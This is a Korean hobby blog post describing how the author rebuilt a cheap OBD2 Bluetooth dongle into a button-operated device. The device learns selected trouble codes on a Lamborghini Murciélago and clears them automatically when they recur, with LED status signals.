이제 OBD2 동글을 몇 대 더 구입했는데... 어? 외형은 같은데... 내부의 블루투스 모듈이 다른 종류네요ㅠㅠ

그런데 다행히, 시리얼통신 및 전원핀은 동일하여 그대로 사용할 수 있었습니다. 휴우....

살짝 팁을 한가지 알려드리자면... 국내 오픈마켓에서 2~3만원에 판내되는 OBD2 블루투스 동글은

AliExpress나 EBay등을 통하여 직접 구매할 경우 $10 이하로 구매할 수 있습니다.

저는 $7도 안되는 가격에 구입했죠... (좀 오래 걸리긴 하지만, 무료배송^^)

 

이제 조심스럽게 블루투스 모듈을 제거 합니다.

 

아래 사진처럼, 블루투스 모듈을 떼어낸 자리에 새로 제작한 제어회로를 부착합니다.

 

이제, 프로그램 작성을 위해 개발용 장비/PC와 연결합니다.

 

PC를 통하여 AT 커맨드로 오류를 읽어봤습니다.

지난번에 스캐너로 읽은것과 동일한 오류코드가 읽히는군요.

 

새로운 회로에 맞도록 수정한 펌웨어를 기록한 후

 

케이스에 스위치용 구멍을 하나 뚫고... 조립합니다.

 

완성~ 아주 심플하죠?

 

이제 OBD2 진단단자가 달려 있는 거의 모든 차량에서 사용할 수 있는 학습형 DTC 자동 소거기가 만들어졌습니다^^

 

이 제품의 상단에는 작은 버튼 하나와, 적색/녹색 LED가 달려 있습니다.

차량의 전원이 켜져 있는 동안, 주기적으로 오류를 검사하여 차량에 이상이 없을 경우는 녹색 LED가 깜박이고,

DTC 오류가 있을 경우에는 적색 LED가 깜박입니다. 이 때 버튼을 짧게 누르면 DTC 오류가 삭제됩니다.

 

오류가 발생했을때, 버튼을 3초간 누르고 있으면 적색 LED가 빠르게 깜박이고,

현재 발생한 DTC오류를 기억합니다. 오류는 64개 까지 기억가능하며,

(64개보다 더 많은 오류가 발생하는 차량은... 폐차장으로)

기존에 기억된 오류가 있다면 추가하여 기억하게 되고,

추후 기억한 오류가 발생할 경우 자동으로 지워줍니다.

 

기억하지 않은 오류가 발생할 경우는 정말로 차에 이상이 발생한 경우이므로,

DTC를 삭제 하지 않고 적색 LED가 깜박입니다.

 

버튼을 5초 이상 누르고 있으면 녹색 LED가 빠르게 깜박이면서 기억한 내용을 모두 지우게 됩니다.

설치는... 진단 단자에 꽂기만 하면 끝입니다.

 

이제 무르시의 깊은 곳(?)에 있는 진단단자에 꽂고 오류를 기억시켰습니다.

잠시 후.... 경고등이 꺼진 깨끗한 계기판을 볼 수 있었습니다.^^

 

참, 무르시엘라고는 ECU가 2개라고 하는군요. 그래서 경고등도 Left, Right 2개가 있습니다. 참 희안하죠?

 

 

 

 

 

  •  
블로그 이미지

wtdsoul

,